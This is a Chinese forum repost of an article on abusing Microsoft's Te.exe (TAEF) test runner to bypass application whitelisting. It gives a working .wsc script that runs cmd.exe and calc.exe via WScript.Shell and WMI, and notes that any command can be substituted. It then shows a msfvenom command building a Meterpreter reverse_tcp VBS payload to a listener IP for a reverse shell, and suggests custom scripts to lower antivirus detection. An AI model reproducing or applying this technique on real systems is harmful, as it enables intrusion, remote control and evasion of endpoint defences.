|
文章转载于:https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247486163&idx=1&sn=7278e3ad6cc8428bf45c1b67ce333fab&chksm=ce5e28b2f929a1a43d994fe1ac2f2e777a05c23bf13d05777a474976952df16af202b9f9a712&mpshare=1&scene=23&srcid=&sharer_sharetime=1585475122054&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd
一、Te.exe介绍
如果安装了TAEF(Test Authoring and Execution Framework)框架并且位于列入白名单的路径中,则可以使用它,需要在计算机上安装Visual Studio和WDK。
微软官方文档:https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/
默认安装位置:
- C:\ program files(x86)\Windows Kits\10\testing\Runtimes\TAEF
复制代码
使用脚本语言编写测试,Windows仅支持JScript和VBScript。
二、使用Te.exe执行系统命令
直接使用github上编写好的.wsc文件,执行calc.exe弹出计算机。https://gist.github.com/N3mes1s/ ... -datadriventest-wsc
- <?xml version="1.0" ?>
- <!-- Te.exe DataDrivenTest.wsc -->
- <!-- C:\Program Files (x86)\Windows Kits\10\Testing\Runtimes\TAEF > ./TE.exe DataDrivenTest.wsc -->
- <!-- Test Authoring and Execution Framework v5.8k for x64 -->
- <!-- StartGroup: VBSampleTests::TestOne -->
- <!-- Calling TestOne -->
- <!-- EndGroup: VBSampleTests::TestOne [Passed] -->
- <!-- Summary: Total=1, Passed=1, Failed=0, Blocked=0, Not Run=0, Skipped=0 -->
- <?component error="true" debug="true"?>
- <package>
- <ModuleProperty name="Owner" value="Someone"/>
- <component id="VBSampleTests">
- <object id="Log" progid="WEX.Logger.Log" />
- <reference guid="e65ef678-a232-42a7-8a36-63108d719f31" version="1.0"/>
- <TestClassProperty name="DocumentationUrl" value="http://shelltestkb/"/>
- <public>
- <method name="TestOne">
- <TestMethodProperty name="Priority" value="1"/>
- </method>
- </public>
- <script language="VBScript">
- <![CDATA[
- Function TestOne()
- Log.Comment("Calling TestOne")
- CreateObject("WScript.Shell").Run("cmd.exe")
- strComputer = "."
- Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2:Win32_Process")
- objWMIService.Create "calc.exe", null, null, intProcessID
- Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2")
- Set colMonitoredProcesses = objWMIService.ExecNotificationQuery _
- ("Select * From __InstanceDeletionEvent Within 1 Where TargetInstance ISA 'Win32_Process'")
- Do Until i = 1
- Set objLatestProcess = colMonitoredProcesses.NextEvent
- If objLatestProcess.TargetInstance.ProcessID = intProcessID Then
- i = 1
- End If
- Loop
- End Function
- ]]>
- </script>
- </component>
- </package>
复制代码
可以替换calc.exe为自己想要执行的命令,比如执行系统powershell命令等等。
三、利用Te.exe执行payload(VT查杀率23/57)
使用msfvenom生成反弹vbs payload。
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.100.207 lport=4444 EXITFUNC=thread -f vbs --platform win > test.vbs
复制代码 替换.wsc文件
执行修改后的.wsc文件。
反弹成功。
打开杀软进行测试,当执行.wsc文件时会报毒,主要是msf生成的payload特征太明显了,可以根据自己的需求编写自己的vbs脚本。
vt查杀率27/57
四、参考资料
https://gist.github.com/N3mes1s/5b75a4cd6aa4d41bb742acace2c8ab42
https://twitter.com/gN3mes1s/status/927792345378099200
https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/overview-of-executing-tests
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|